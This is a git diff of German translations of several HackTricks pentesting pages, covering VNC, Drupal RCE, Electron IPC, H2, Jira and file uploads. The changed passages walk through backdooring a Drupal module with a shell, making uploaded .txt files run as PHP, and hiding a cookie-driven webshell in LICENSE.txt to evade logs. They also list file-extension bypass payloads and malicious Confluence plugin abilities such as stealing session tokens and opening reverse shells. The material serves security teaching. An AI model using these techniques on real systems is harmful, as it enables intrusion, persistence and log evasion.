Wenn Sie an einer **Hacking-Karriere** interessiert sind und das Unhackbare hacken möchten - **wir stellen ein!** (_fließend Polnisch in Wort und Schrift erforderlich_). @@ -23,7 +23,7 @@ Wenn Sie an einer **Hacking-Karriere** interessiert sind und das Unhackbare hack ## Grundinformationen -**Virtual Network Computing (VNC)** ist ein robustes grafisches Desktop-Sharing-System, das das **Remote Frame Buffer (RFB)**-Protokoll verwendet, um die Fernsteuerung und Zusammenarbeit mit einem anderen Computer zu ermöglichen. Mit VNC können Benutzer nahtlos mit einem Remote-Computer interagieren, indem sie Tastatur- und Mausereignisse bidirektional übertragen. Dies ermöglicht den Echtzeitzugriff und erleichtert effiziente Fernunterstützung oder Zusammenarbeit über ein Netzwerk. +**Virtual Network Computing (VNC)** ist ein robustes grafisches Desktop-Sharing-System, das das **Remote Frame Buffer (RFB)**-Protokoll verwendet, um die Fernsteuerung und Zusammenarbeit mit einem anderen Computer zu ermöglichen. Mit VNC können Benutzer nahtlos mit einem entfernten Computer interagieren, indem sie Tastatur- und Mausereignisse bidirektional übertragen. Dies ermöglicht den Echtzeitzugriff und erleichtert effiziente Fernunterstützung oder Zusammenarbeit über ein Netzwerk. VNC verwendet normalerweise die Ports **5800 oder 5801 oder 5900 oder 5901.** ``` @@ -45,7 +45,7 @@ vncviewer [-passwd passwd.txt] ::5901 Das Standard-**Passwort wird gespeichert** in: \~/.vnc/passwd -Wenn Sie das VNC-Passwort haben und es verschlüsselt aussieht (einige Bytes, als könnte es ein verschlüsseltes Passwort sein), ist es wahrscheinlich mit 3des verschlüsselt. Sie können das Klartext-Passwort mit [https://github.com/jeroennijhof/vncpwd](https://github.com/jeroennijhof/vncpwd) erhalten. +Wenn Sie das VNC-Passwort haben und es verschlüsselt aussieht (einige Bytes, als ob es ein verschlüsseltes Passwort sein könnte), ist es wahrscheinlich mit 3des verschlüsselt. Sie können das Klartext-Passwort mit [https://github.com/jeroennijhof/vncpwd](https://github.com/jeroennijhof/vncpwd) erhalten. ```bash make vncpwd @@ -60,15 +60,15 @@ Ich speichere das Tool hier auch zur einfacheren Zugänglichkeit: * `port:5900 RFB` -
+
Wenn du an einer **Hacking-Karriere** interessiert bist und das Unhackbare hacken möchtest - **wir stellen ein!** (_fließend Polnisch in Wort und Schrift erforderlich_). {% embed url="https://www.stmcyber.com/careers" %} {% hint style="success" %} -Lerne & übe AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ -Lerne & übe GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) +Lerne & übe AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +Lerne & übe GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
diff --git a/network-services-pentesting/pentesting-web/drupal/drupal-rce.md b/network-services-pentesting/pentesting-web/drupal/drupal-rce.md index b0702148e..76caa9f4c 100644 --- a/network-services-pentesting/pentesting-web/drupal/drupal-rce.md +++ b/network-services-pentesting/pentesting-web/drupal/drupal-rce.md @@ -6,7 +6,7 @@ Lernen & üben Sie GCP Hacking: -Support HackTricks +Unterstützen Sie HackTricks * Überprüfen Sie die [**Abonnementpläne**](https://github.com/sponsors/carlospolop)! * **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** @@ -15,15 +15,15 @@ Lernen & üben Sie GCP Hacking: {% endhint %} -## Mit PHP Filter Modul +## Mit dem PHP-Filtermodul {% hint style="warning" %} -In älteren Versionen von Drupal **(vor Version 8)** war es möglich, sich als Admin anzumelden und **das `PHP filter` Modul zu aktivieren**, das "Eingebetteten PHP-Code/Snippets die Auswertung erlaubt." Aber ab Version 8 ist dieses Modul nicht standardmäßig installiert. +In älteren Versionen von Drupal **(vor Version 8)** war es möglich, sich als Admin anzumelden und **das `PHP-Filter`-Modul zu aktivieren**, das "Eingebetteten PHP-Code/Snippets die Auswertung erlaubt." Ab Version 8 ist dieses Modul jedoch nicht standardmäßig installiert. {% endhint %} -Sie müssen das **Plugin php installiert haben** (überprüfen Sie, indem Sie auf _/modules/php_ zugreifen, und wenn es **403** zurückgibt, dann **existiert es**, wenn **nicht gefunden**, dann ist das **Plugin php nicht installiert**) +Sie müssen das **Plugin php installiert haben** (prüfen Sie, indem Sie auf _/modules/php_ zugreifen; wenn es **403** zurückgibt, **existiert** es, wenn **nicht gefunden**, dann ist das **Plugin php nicht installiert**) -Gehen Sie zu _Module_ -> (**Überprüfen**) _PHP Filter_ -> _Konfiguration speichern_ +Gehen Sie zu _Module_ -> (**Überprüfen**) _PHP-Filter_ -> _Konfiguration speichern_ ![](<../../../.gitbook/assets/image (247) (1).png>) @@ -31,7 +31,7 @@ Klicken Sie dann auf _Inhalt hinzufügen_ -> Wählen Sie _Basis-Seite_ oder _Art ![](<../../../.gitbook/assets/image (338).png>) -Zugreifen Sie schließlich auf den neu erstellten Knoten: +Zugreifen auf den neu erstellten Knoten: ```bash curl http://drupal-site.local/node/3 ``` @@ -47,15 +47,15 @@ Ab Version **8 ist das** [**PHP-Filter**](https://www.drupal.org/project/php/rel 1. wget https://ftp.drupal.org/files/projects/php-8.x-1.1.tar.gz 2. Gehen Sie nach dem Herunterladen zu **`Administration`** > **`Reports`** > **`Available updates`**. 3. Klicken Sie auf **`Browse`**, wählen Sie die Datei aus dem Verzeichnis aus, in das wir sie heruntergeladen haben, und klicken Sie dann auf **`Install`**. -4. Sobald das Modul installiert ist, können wir auf **`Content`** klicken und **eine neue einfache Seite erstellen**, ähnlich wie wir es im Drupal 7-Beispiel gemacht haben. Stellen Sie erneut sicher, dass Sie **`PHP code` aus dem Dropdown-Menü `Text format` auswählen**. +4. Sobald das Modul installiert ist, können wir auf **`Content`** klicken und **eine neue Basis-Seite erstellen**, ähnlich wie wir es im Drupal 7-Beispiel gemacht haben. Achten Sie erneut darauf, **`PHP code` aus dem Dropdown-Menü `Text format` auszuwählen**. -## Backdoored Modul +## Hintertür-Modul {% hint style="warning" %} In aktuellen Versionen ist es nicht mehr möglich, Plugins nur mit Zugriff auf das Web nach der Standardinstallation zu installieren. {% endhint %} -Ein backdoored Modul kann erstellt werden, indem **eine Shell zu einem bestehenden Modul hinzugefügt wird**. Module können auf der drupal.org-Website gefunden werden. Wählen wir ein Modul wie [CAPTCHA](https://www.drupal.org/project/captcha). Scrollen Sie nach unten und kopieren Sie den Link für das tar.gz [Archiv](https://ftp.drupal.org/files/projects/captcha-8.x-1.2.tar.gz). +Ein hintertüriges Modul kann erstellt werden, indem **eine Shell zu einem bestehenden Modul hinzugefügt wird**. Module können auf der drupal.org-Website gefunden werden. Wählen wir ein Modul wie [CAPTCHA](https://www.drupal.org/project/captcha). Scrollen Sie nach unten und kopieren Sie den Link für das tar.gz [Archiv](https://ftp.drupal.org/files/projects/captcha-8.x-1.2.tar.gz). * Laden Sie das Archiv herunter und extrahieren Sie dessen Inhalt. ``` @@ -75,7 +75,7 @@ RewriteEngine On RewriteBase / ``` -* Die obige Konfiguration wendet Regeln für den /-Ordner an, wenn wir eine Datei im /modules anfordern. Kopiere beide Dateien in den captcha-Ordner und erstelle ein Archiv. +* Die obige Konfiguration wendet Regeln für den /-Ordner an, wenn wir eine Datei im /modules-Ordner anfordern. Kopiere beide Dateien in den captcha-Ordner und erstelle ein Archiv. ```bash mv shell.php .htaccess captcha tar cvf captcha.tar.gz captcha/ @@ -83,23 +83,23 @@ tar cvf captcha.tar.gz captcha/ * Angenommen, wir haben **administrativen Zugriff** auf die Website, klicken Sie auf **`Verwalten`** und dann auf **`Erweitern`** in der Seitenleiste. Klicken Sie als Nächstes auf die Schaltfläche **`+ Neues Modul installieren`**, und wir werden zur Installationsseite weitergeleitet, wie `http://drupal-site.local/admin/modules/install`. Durchsuchen Sie das mit einem Backdoor versehenen Captcha-Archiv und klicken Sie auf **`Installieren`**. * Sobald die Installation erfolgreich ist, navigieren Sie zu **`/modules/captcha/shell.php`**, um Befehle auszuführen. -## Backdooring Drupal mit Konfigurationssynchronisierung +## Drupal mit Konfigurationssynchronisierung backdoorisieren **Beitrag geteilt von** [**Coiffeur0x90**](https://twitter.com/Coiffeur0x90) ### Teil 1 (Aktivierung von _Media_ und _Media Library_) -Im _Erweitern_-Menü (/admin/modules) können Sie aktivieren, was wie bereits installierte Plugins aussieht. Standardmäßig scheinen die Plugins _Media_ und _Media Library_ nicht aktiviert zu sein, also lassen Sie uns diese aktivieren. +Im Menü _Erweitern_ (/admin/modules) können Sie aktivieren, was wie bereits installierte Plugins aussieht. Standardmäßig scheinen die Plugins _Media_ und _Media Library_ nicht aktiviert zu sein, also lassen Sie uns diese aktivieren. Vor der Aktivierung: -
+
Nach der Aktivierung: -
+
-
+
### Teil 2 (Nutzung der Funktion _Konfigurationssynchronisierung_) @@ -122,7 +122,7 @@ allow_insecure_uploads: false ... ``` -
+
Zu: @@ -136,7 +136,7 @@ allow_insecure_uploads: true ... ``` -
+
**Patch field.field.media.document.field\_media\_document.yml** @@ -152,7 +152,7 @@ file_extensions: 'txt rtf doc docx ppt pptx xls xlsx pdf odf odg odp ods odt fod ... ``` -
+
Zu: @@ -168,11 +168,11 @@ file_extensions: 'htaccess txt rtf doc docx ppt pptx xls xlsx pdf odf odg odp od ``` > Ich verwende es in diesem Blogbeitrag nicht, aber es wird angemerkt, dass es möglich ist, den Eintrag `file_directory` beliebig zu definieren und dass er anfällig für einen Path Traversal-Angriff ist (so können wir im Drupal-Dateisystembaum nach oben navigieren). -
+
### Teil 3 (Nutzung der Funktion _Dokument hinzufügen_) -Der letzte Schritt ist der einfachste und wird in zwei Unter Schritte unterteilt. Der erste besteht darin, eine Datei im .htaccess-Format hochzuladen, um die Apache-Direktiven zu nutzen und .txt-Dateien vom PHP-Engine interpretieren zu lassen. Der zweite besteht darin, eine .txt-Datei hochzuladen, die unser Payload enthält. +Der letzte Schritt ist der einfachste und wird in zwei Unter-Schritte unterteilt. Der erste besteht darin, eine Datei im .htaccess-Format hochzuladen, um die Apache-Direktiven zu nutzen und .txt-Dateien vom PHP-Engine interpretieren zu lassen. Der zweite besteht darin, eine .txt-Datei hochzuladen, die unser Payload enthält. Datei: .htaccess ``` @@ -194,13 +194,13 @@ php_flag engine on ``` Warum ist dieser Trick cool? -Weil, sobald die Webshell (die wir LICENSE.txt nennen) auf dem Webserver abgelegt ist, können wir unsere Befehle über `$_COOKIE` übertragen und im Webserver-Log wird dies als legitime GET-Anfrage an eine Textdatei angezeigt. +Weil, sobald die Webshell (die wir LICENSE.txt nennen) auf dem Webserver abgelegt ist, können wir unsere Befehle über `$_COOKIE` übertragen und in den Webserver-Protokollen wird dies als legitime GET-Anfrage an eine Textdatei angezeigt. Warum nennen wir unsere Webshell LICENSE.txt? Einfach, weil wir die folgende Datei nehmen, zum Beispiel [core/LICENSE.txt](https://github.com/drupal/drupal/blob/11.x/core/LICENSE.txt) (die bereits im Drupal-Kern vorhanden ist), haben wir eine Datei mit 339 Zeilen und 17,6 KB Größe, die perfekt ist, um einen kleinen PHP-Code-Schnipsel in der Mitte hinzuzufügen (da die Datei groß genug ist). -
+
Datei: Patched LICENSE.txt ```txt @@ -235,11 +235,11 @@ programs whose distribution conditions are different, write to the author Zuerst nutzen wir die Funktion _Dokument hinzufügen_ (/media/add/document), um unsere Datei mit den Apache-Direktiven (.htaccess) hochzuladen. -
+
-
+
-
+
**Teil 3.2 (Datei LICENSE.txt hochladen)** @@ -263,11 +263,11 @@ Wenn der Angreifer das Cookie setzt, kann er mit der Webshell interagieren und b
-Und wie Sie in den Protokollen sehen können, sieht es so aus, als ob nur eine txt-Datei angefordert wurde. +Und wie Sie in den Protokollen sehen können, sieht es so aus, als wäre nur eine txt-Datei angefordert worden.
-Vielen Dank, dass Sie sich die Zeit genommen haben, diesen Artikel zu lesen. Ich hoffe, er hilft Ihnen, einige Shells zu bekommen. +Vielen Dank, dass Sie sich die Zeit genommen haben, diesen Artikel zu lesen. Ich hoffe, er hilft Ihnen, einige Shells zu erhalten. {% hint style="success" %} Lernen & üben Sie AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ diff --git a/network-services-pentesting/pentesting-web/electron-desktop-apps/electron-contextisolation-rce-via-ipc.md b/network-services-pentesting/pentesting-web/electron-desktop-apps/electron-contextisolation-rce-via-ipc.md index 118368820..a22e3450f 100644 --- a/network-services-pentesting/pentesting-web/electron-desktop-apps/electron-contextisolation-rce-via-ipc.md +++ b/network-services-pentesting/pentesting-web/electron-desktop-apps/electron-contextisolation-rce-via-ipc.md @@ -23,7 +23,7 @@ Wenn das Preload-Skript einen IPC-Endpunkt aus der main.js-Datei exponiert, kann Beispiel von [https://speakerdeck.com/masatokinugawa/how-i-hacked-microsoft-teams-and-got-150000-dollars-in-pwn2own?slide=21](https://speakerdeck.com/masatokinugawa/how-i-hacked-microsoft-teams-and-got-150000-dollars-in-pwn2own?slide=21) (du hast das vollständige Beispiel, wie MS Teams XSS zu RCE missbraucht hat, in diesen Folien, dies ist nur ein sehr einfaches Beispiel): -
+
## Beispiel 1 @@ -106,16 +106,16 @@ ipcRenderer.send(event, data); }; ``` {% hint style="success" %} -Lerne & übe AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ -Lerne & übe GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) +Lernen & üben Sie AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +Lernen & üben Sie GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-Unterstütze HackTricks +Unterstützen Sie HackTricks -* Überprüfe die [**Abonnementpläne**](https://github.com/sponsors/carlospolop)! -* **Tritt der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folge** uns auf **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** -* **Teile Hacking-Tricks, indem du PRs zu den** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repos einreichst. +* Überprüfen Sie die [**Abonnementpläne**](https://github.com/sponsors/carlospolop)! +* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **Teilen Sie Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repos senden.
{% endhint %} diff --git a/network-services-pentesting/pentesting-web/h2-java-sql-database.md b/network-services-pentesting/pentesting-web/h2-java-sql-database.md index 9eeb0d7b6..596678ce9 100644 --- a/network-services-pentesting/pentesting-web/h2-java-sql-database.md +++ b/network-services-pentesting/pentesting-web/h2-java-sql-database.md @@ -1,8 +1,8 @@ # H2 - Java SQL-Datenbank {% hint style="success" %} -Lerne & übe AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ -Lerne & übe GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) +Lerne & übe AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +Lerne & übe GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
@@ -15,19 +15,17 @@ Lerne & übe GCP Hacking: {% endhint %} -
- {% embed url="https://websec.nl/" %} Offizielle Seite: [https://www.h2database.com/html/main.html](https://www.h2database.com/html/main.html) ## Zugriff -Du kannst einen **nicht existierenden Namen einer Datenbank** angeben, um **eine neue Datenbank ohne gültige Anmeldeinformationen** (**unauthentifiziert**) zu **erstellen**: +Du kannst einen **nicht existierenden Namen einer Datenbank** angeben, um **eine neue Datenbank ohne gültige Anmeldeinformationen** (**unauthenticated**) zu **erstellen**: ![](<../../.gitbook/assets/image (131).png>) -Oder wenn du weißt, dass zum Beispiel ein **mysql läuft** und du die **Datenbanknamen** und die **Anmeldeinformationen** für diese Datenbank kennst, kannst du einfach darauf zugreifen: +Oder wenn du weißt, dass zum Beispiel ein **MySQL läuft** und du den **Datenbanknamen** und die **Anmeldeinformationen** für diese Datenbank kennst, kannst du einfach darauf zugreifen: ![](<../../.gitbook/assets/image (201).png>) @@ -50,13 +48,11 @@ In [**diesem Beitrag**](https://blog.assetnote.io/2023/07/22/pre-auth-rce-metaba }, [...] ``` -
- {% embed url="https://websec.nl/" %} {% hint style="success" %} -Lerne & übe AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ -Lerne & übe GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) +Lerne & übe AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +Lerne & übe GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
diff --git a/network-services-pentesting/pentesting-web/jira.md b/network-services-pentesting/pentesting-web/jira.md index d435df4d1..4ca017a99 100644 --- a/network-services-pentesting/pentesting-web/jira.md +++ b/network-services-pentesting/pentesting-web/jira.md @@ -10,18 +10,18 @@ Lernen & üben Sie GCP Hacking: {% endhint %} -
+
Wenn Sie an einer **Hacking-Karriere** interessiert sind und das Unhackbare hacken möchten - **wir stellen ein!** (_fließend Polnisch in Wort und Schrift erforderlich_). {% embed url="https://www.stmcyber.com/careers" %} -## Überprüfen Sie Berechtigungen +## Überprüfen von Berechtigungen In Jira können **Berechtigungen von jedem Benutzer überprüft werden**, authentifiziert oder nicht, über die Endpunkte `/rest/api/2/mypermissions` oder `/rest/api/3/mypermissions`. Diese Endpunkte zeigen die aktuellen Berechtigungen des Benutzers an. Ein bemerkenswerter Punkt ist, dass **nicht-authentifizierte Benutzer Berechtigungen haben**, was auf eine **Sicherheitsanfälligkeit** hinweist, die möglicherweise für eine **Belohnung** in Frage kommt. Ebenso heben **unerwartete Berechtigungen für authentifizierte Benutzer** ebenfalls eine **Anfälligkeit** hervor. @@ -85,7 +85,7 @@ Wie in diesem [**Blog**](https://cyllective.com/blog/posts/atlassian-audit-plugi * [REST Plugin-Modul ↗](https://developer.atlassian.com/server/framework/atlassian-sdk/rest-plugin-module): Exponiere RESTful API-Endpunkte * [Servlet Plugin-Modul ↗](https://developer.atlassian.com/server/framework/atlassian-sdk/servlet-plugin-module/): Bereitstellung von Java-Servlets als Teil eines Plugins -* [Macro Plugin-Modul ↗](https://developer.atlassian.com/server/confluence/macro-module/): Implementierung von Confluence-Makros, d.h. parametrisierten HTML-Vorlagen +* [Macro Plugin-Modul ↗](https://developer.atlassian.com/server/confluence/macro-module/): Implementierung von Confluence-Makros, d.h. parametrisierte HTML-Vorlagen Dies ist ein Beispiel für den Makro-Plugin-Typ: ```java @@ -114,7 +114,7 @@ public OutputType getOutputType() { return OutputType.BLOCK; } ``` Es ist möglich zu beobachten, dass diese Plugins anfällig für gängige Webanfälligkeiten wie XSS sein könnten. Zum Beispiel ist das vorherige Beispiel anfällig, weil es Daten widerspiegelt, die vom Benutzer bereitgestellt werden. -Sobald ein XSS gefunden wurde, können Sie in [**diesem GitHub-Repo**](https://github.com/cyllective/XSS-Payloads/tree/main/Confluence) einige Payloads finden, um die Auswirkungen des XSS zu erhöhen. +Sobald ein XSS gefunden wird, können Sie in [**diesem GitHub-Repo**](https://github.com/cyllective/XSS-Payloads/tree/main/Confluence) einige Payloads finden, um die Auswirkungen des XSS zu erhöhen. ## Backdoor-Plugin @@ -124,12 +124,12 @@ Dies sind einige der Aktionen, die ein bösartiges Plugin ausführen könnte: * **Plugins vor Admins verbergen**: Es ist möglich, das bösartige Plugin zu verbergen, indem man etwas Front-End-JavaScript injiziert. * **Exfiltrieren von Anhängen und Seiten**: Ermöglicht den Zugriff auf und die Exfiltration aller Daten. -* **Stehlen von Sitzungstoken**: Fügen Sie einen Endpunkt hinzu, der die Header in der Antwort (mit dem Cookie) zurückgibt, und etwas JavaScript, das damit Kontakt aufnimmt und die Cookies leakt. +* **Stehlen von Sitzungstokens**: Fügen Sie einen Endpunkt hinzu, der die Header in der Antwort (mit dem Cookie) zurückgibt, und etwas JavaScript, das damit Kontakt aufnimmt und die Cookies leakt. * **Befehlsausführung**: Natürlich ist es möglich, ein Plugin zu erstellen, das Code ausführt. * **Reverse Shell**: Oder eine Reverse Shell erhalten. * **DOM-Proxying**: Wenn sich die Confluence in einem privaten Netzwerk befindet, wäre es möglich, eine Verbindung über den Browser eines Benutzers mit Zugriff darauf herzustellen und beispielsweise den Server über ihn zu kontaktieren, um Befehle auszuführen. -
+
Wenn Sie an einer **Hacking-Karriere** interessiert sind und das Unhackbare hacken möchten - **wir stellen ein!** (_fließend Polnisch in Wort und Schrift erforderlich_). diff --git a/pentesting-web/file-upload/README.md b/pentesting-web/file-upload/README.md index 79b906f95..464d4bb8e 100644 --- a/pentesting-web/file-upload/README.md +++ b/pentesting-web/file-upload/README.md @@ -1,23 +1,23 @@ # Datei-Upload {% hint style="success" %} -Lernen & üben Sie AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ -Lernen & üben Sie GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) +Lerne & übe AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +Lerne & übe GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-Unterstützen Sie HackTricks +Unterstütze HackTricks -* Überprüfen Sie die [**Abonnementpläne**](https://github.com/sponsors/carlospolop)! -* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** -* **Teilen Sie Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repos senden. +* Überprüfe die [**Abonnementpläne**](https://github.com/sponsors/carlospolop)! +* **Tritt der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folge** uns auf **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **Teile Hacking-Tricks, indem du PRs zu den** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repos einreichst.
{% endhint %} -
+
-Wenn Sie an einer **Hacking-Karriere** interessiert sind und das Unhackbare hacken möchten - **wir stellen ein!** (_fließendes Polnisch in Wort und Schrift erforderlich_). +Wenn du an einer **Hacking-Karriere** interessiert bist und das Unhackbare hacken möchtest - **wir stellen ein!** (_fließend Polnisch in Wort und Schrift erforderlich_). {% embed url="https://www.stmcyber.com/careers" %} @@ -36,11 +36,11 @@ Andere nützliche Erweiterungen: ### Umgehung von Überprüfungen der Dateierweiterungen -1. Wenn sie zutreffen, **überprüfen** Sie die **vorherigen Erweiterungen.** Testen Sie sie auch mit einigen **Großbuchstaben**: _pHp, .pHP5, .PhAr ..._ -2. _Überprüfen Sie **das Hinzufügen einer gültigen Erweiterung vor** der Ausführungs-Erweiterung (verwenden Sie auch die vorherigen Erweiterungen):_ +1. Wenn sie zutreffen, **überprüfe** die **vorherigen Erweiterungen.** Teste sie auch mit einigen **Großbuchstaben**: _pHp, .pHP5, .PhAr ..._ +2. _Überprüfe **das Hinzufügen einer gültigen Erweiterung vor** der Ausführungs-Erweiterung (verwende auch vorherige Erweiterungen):_ * _file.png.php_ * _file.png.Php5_ -3. Versuchen Sie, **Sonderzeichen am Ende hinzuzufügen.** Sie könnten Burp verwenden, um alle **ASCII**- und **Unicode**-Zeichen zu **bruteforcen**. (_Beachten Sie, dass Sie auch die **vorher** genannten **Erweiterungen** verwenden können_) +3. Versuche, **Sonderzeichen am Ende hinzuzufügen.** Du könntest Burp verwenden, um alle **ASCII**- und **Unicode**-Zeichen zu **bruteforcen**. (_Beachte, dass du auch die **vorher** genannten **Erweiterungen** verwenden kannst_) * _file.php%20_ * _file.php%0a_ * _file.php%00_ @@ -50,7 +50,7 @@ Andere nützliche Erweiterungen: * _file._ * _file.php...._ * _file.pHp5...._ -4. Versuchen Sie, die Schutzmaßnahmen zu umgehen, indem Sie den **Erweiterungsparser** auf der Serverseite mit Techniken wie **Verdopplung** der **Erweiterung** oder **Hinzufügen von Junk**-Daten (**null** Bytes) zwischen den Erweiterungen täuschen. _Sie können auch die **vorherigen Erweiterungen** verwenden, um eine bessere Payload vorzubereiten._ +4. Versuche, die Schutzmaßnahmen **zu umgehen, indem du den Erweiterungsparser** auf der Serverseite mit Techniken wie **Verdopplung** der **Erweiterung** oder **Hinzufügen von Junk**-Daten (**Null**-Bytes) zwischen den Erweiterungen täuschst. _Du kannst auch die **vorherigen Erweiterungen** verwenden, um eine bessere Payload vorzubereiten._ * _file.png.php_ * _file.png.pHp5_ * _file.php#.png_ @@ -59,57 +59,57 @@ Andere nützliche Erweiterungen: * _file.php%0a.png_ * _file.php%0d%0a.png_ * _file.phpJunk123png_ -5. Fügen Sie **eine weitere Schicht von Erweiterungen** zur vorherigen Überprüfung hinzu: +5. Füge **eine weitere Schicht von Erweiterungen** zur vorherigen Überprüfung hinzu: * _file.png.jpg.php_ * _file.php%00.png%00.jpg_ -6. Versuchen Sie, die **exec-Erweiterung vor der gültigen Erweiterung** zu setzen und beten Sie, dass der Server falsch konfiguriert ist. (nützlich, um Apache-Misconfigurationen auszunutzen, bei denen alles mit der Erweiterung **.php** ausgeführt wird, aber nicht unbedingt mit .php enden muss): +6. Versuche, die **exec-Erweiterung vor der gültigen Erweiterung** zu setzen und bete, dass der Server falsch konfiguriert ist. (nützlich, um Apache-Misconfigurationen auszunutzen, bei denen alles mit der Erweiterung **.php** ausgeführt wird, aber nicht unbedingt mit .php enden muss): * _z.B.: file.php.png_ -7. Verwenden von **NTFS-Alternativdatenströmen (ADS)** in **Windows**. In diesem Fall wird ein Doppelpunktzeichen “:” nach einer verbotenen Erweiterung und vor einer erlaubten eingefügt. Infolgedessen wird eine **leere Datei mit der verbotenen Erweiterung** auf dem Server erstellt (z.B. “file.asax:.jpg”). Diese Datei könnte später mit anderen Techniken bearbeitet werden, z.B. mit ihrem kurzen Dateinamen. Das Muster “**::$data**” kann auch verwendet werden, um nicht leere Dateien zu erstellen. Daher kann es auch nützlich sein, ein Punktzeichen nach diesem Muster hinzuzufügen, um weitere Einschränkungen zu umgehen (z.B. “file.asp::$data.”) -8. Versuchen Sie, die Dateinamensgrenzen zu überschreiten. Die gültige Erweiterung wird abgeschnitten. Und das bösartige PHP bleibt. AAA<--SNIP-->AAA.php +7. Verwende **NTFS Alternate Data Stream (ADS)** in **Windows**. In diesem Fall wird ein Doppelpunktzeichen “:” nach einer verbotenen Erweiterung und vor einer erlaubten eingefügt. Dadurch wird eine **leere Datei mit der verbotenen Erweiterung** auf dem Server erstellt (z.B. “file.asax:.jpg”). Diese Datei könnte später mit anderen Techniken bearbeitet werden, z.B. mit ihrem kurzen Dateinamen. Das Muster “**::$data**” kann auch verwendet werden, um nicht-leere Dateien zu erstellen. Daher könnte das Hinzufügen eines Punktzeichens nach diesem Muster auch nützlich sein, um weitere Einschränkungen zu umgehen (z.B. “file.asp::$data.”) +8. Versuche, die Dateinamensgrenzen zu brechen. Die gültige Erweiterung wird abgeschnitten. Und die bösartige PHP bleibt. AAA<--SNIP-->AAA.php ``` # Linux maximal 255 Bytes /usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 255 Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4 # minus 4 hier und .png hinzufügen -# Laden Sie die Datei hoch und überprüfen Sie die Antwort, wie viele Zeichen sie zulässt. Angenommen 236 +# Lade die Datei hoch und überprüfe die Antwort, wie viele Zeichen sie zulässt. Sagen wir 236 python -c 'print "A" * 232' 